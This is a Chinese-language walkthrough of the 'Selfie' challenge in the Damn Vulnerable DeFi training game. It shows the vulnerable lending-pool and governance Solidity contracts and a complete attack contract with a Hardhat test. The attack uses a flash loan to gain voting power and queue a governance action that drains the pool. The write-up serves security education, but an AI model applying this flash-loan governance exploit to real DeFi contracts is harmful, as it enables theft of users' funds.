Defi黑客系列：Damn Vulnerable DeFi (六) - Selfie

题目链接：https://www.damnvulnerabledefi.xyz/challenges/6.html

题目描述：

有一个借贷池提供 DVT token 的闪电贷功能，DVT token 用来作为治理代币为 governance 合约提供治理功能。现在借贷池中有 150 万个 token, 你的目标是将这些 token 全部取出。

本题有三个智能合约：

DamnValuableTokenSnapshot 具有 snapshot 功能的 token 合约

SelfiePool 借贷池合约

SimpleGovernance 治理合约

首先看下借贷池合约的源码

Copy
contract SelfiePool is ReentrancyGuard {
using Address for address;
// token 合约
ERC20Snapshot public token;
// governance 合约
SimpleGovernance public governance;

event FundsDrained(address indexed receiver, uint256 amount);

// 确保函数的执行者是 governance 合约
modifier onlyGovernance() {
require(msg.sender == address(governance), "Only governance can execute this action");
_;
}

// 构造函数: 创建 token 和 governance 实例
constructor(address tokenAddress, address governanceAddress) {
token = ERC20Snapshot(tokenAddress);
governance = SimpleGovernance(governanceAddress);
}

// 闪电贷函数
function flashLoan(uint256 borrowAmount) external nonReentrant {
// 确保余额充足
uint256 balanceBefore = token.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// 将 borrowAmount 数量的 token 转给 msg.sender
token.transfer(msg.sender, borrowAmount);

// 确保 msg.sender 是合约地址
require(msg.sender.isContract(), "Sender must be a deployed contract");

// 调用 msg.sender 的 receiveTokens 方法
msg.sender.functionCall(
abi.encodeWithSignature(
"receiveTokens(address,uint256)",
address(token),
borrowAmount
)
);

// 确保已返还借出的token
uint256 balanceAfter = token.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

// 提取该合约中的全部token, 并且只能由 governance 调用
function drainAllFunds(address receiver) external onlyGovernance {
// 获取余额
uint256 amount = token.balanceOf(address(this));
// 将 token 转给 receiver
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}
}

该借贷池合约提供了两个方法

flashLoan 闪电贷方法，并且会回调调用者的 receiveTokens 方法

drainAllFunds 取出所有的 token, 并且该方法的调用者必须是治理合约

接着再看下治理合约的源码

Copy
contract SimpleGovernance {
using Address for address;

struct GovernanceAction {
address receiver;
bytes data;
uint256 weiAmount;
uint256 proposedAt;
uint256 executedAt;
}
// 治理 token
DamnValuableTokenSnapshot public governanceToken;
// 存储所有 action 的 mapping
mapping(uint256 => GovernanceAction) public actions;
// action 计数
uint256 private actionCounter;
uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

event ActionQueued(uint256 actionId, address indexed caller);
event ActionExecuted(uint256 actionId, address indexed caller);

// 构造函数, 传入治理 token 地址
constructor(address governanceTokenAddress) {
require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
actionCounter = 1;
}

// 创建一个 action
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
// 确保有足够的投票
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
// 确保 reveiver 不是该合约
require(receiver != address(this), "Cannot queue actions that affect Governance");

// 将 action 保存到 actions 中
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;

actionCounter++;

emit ActionQueued(actionId, msg.sender);

// 返回 actionId
return actionId;
}

// 执行创建的 action
function executeAction(uint256 actionId) external payable {
// 创建的 action 是否可以被执行
require(_canBeExecuted(actionId), "Cannot execute this action");

// 取出当前最新的待执行的 action
GovernanceAction storage actionToExecute = actions[actionId];
// 设置执行时间为当前时间
actionToExecute.executedAt = block.timestamp;

// 执行 action.reveiver 的 data
actionToExecute.receiver.functionCallWithValue(
actionToExecute.data,
actionToExecute.weiAmount
);

emit ActionExecuted(actionId, msg.sender);
}

function getActionDelay() public view returns (uint256) {
return ACTION_DELAY_IN_SECONDS;
}

// 判断一个 action 是否可以被执行
// 1. 从来没有执行过
// 2. 创建时间超过 2 days
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = actions[actionId];
return (
actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}

// 判断是否有足够的投票
// 拥有的 governanceToken 数量大于总量的一半
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
}

治理合约核心就两个方法

queueAction 创建 action 并保存相关的数据

executeAction 执行创建的action，本质就是执行 action.receive 中data

现在回过头来，看下我们的最终目标：取光借贷池中的所有 token。只能通过调用方法 drainAllFunds 来达到目的，但该方法又只能由治理合约调用。似乎已经走入死路了，但别忘记了，治理合约中的 executeAction 方法内部会去执行 action.receive 中data。如果 receive 是借贷池合约，data 是 drainAllFunds 方法，似乎是可行的。但前提是需要创建 action, 但创建 action的前提是拥有至少一半的治理 token。此时就可以通过闪电贷来达到拥有token的目的。

最终，我们的攻击步骤如下：

通过闪电贷借出池子中的全部 token

在回调方法中，构造 drainAllFunds 的data，调用治理合约的 queueAction 创建 action

返还 token

两天后，执行治理合约的 executeAction 方法，将代币转移给攻击者。

攻击合约如下

SelfieAttack.sol

Copy
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttack {

SelfiePool public pool;
SimpleGovernance public governance;

address public attacker;
uint public actionId;

constructor (address _pool, address _governance) {
pool = SelfiePool(_pool);
governance = SimpleGovernance(_governance);
attacker = msg.sender;
}

function attack(uint amount) public {
pool.flashLoan(amount);
}

function receiveTokens(address _token, uint _amount) public {
// 构造data
bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
// 执行快照
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
token.snapshot();
// 创建 action
actionId = governance.queueAction(address(pool), data, 0);
// 返还token
token.transfer(address(pool), _amount);
}
}

调用 queueAction 后创建的 action 如下

Copy
{
receiver: 借贷池合约,
data: drainAllFunds(attacker)
...
}

两天后，执行治理合约的 executeAction 方法时，会调用 receiver 的 data, 也就是调用 借贷池合约的 drainAllFunds， 参数是 attacker

Copy
// receiver 地址是 attacker
function drainAllFunds(address receiver) external onlyGovernance {
// 获取余额
uint256 amount = token.balanceOf(address(this));
// 将 token 转给 receiver
token.transfer(receiver, amount);

emit FundsDrained(receiver, amount);
}

最后在单元测试文件 selfie.challenge.js中编写执行代码

Copy
it('Exploit', async function () {
const SelfieAttackFactory = await ethers.getContractFactory('SelfieAttack', attacker)
const selfieAttack = await SelfieAttackFactory.deploy(this.pool.address, this.governance.address)
await selfieAttack.attack(TOKENS_IN_POOL)

await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
const actionId = await selfieAttack.actionId()
this.governance.executeAction(actionId)
})

执行 yarn selfie, 测试通过！

完整代码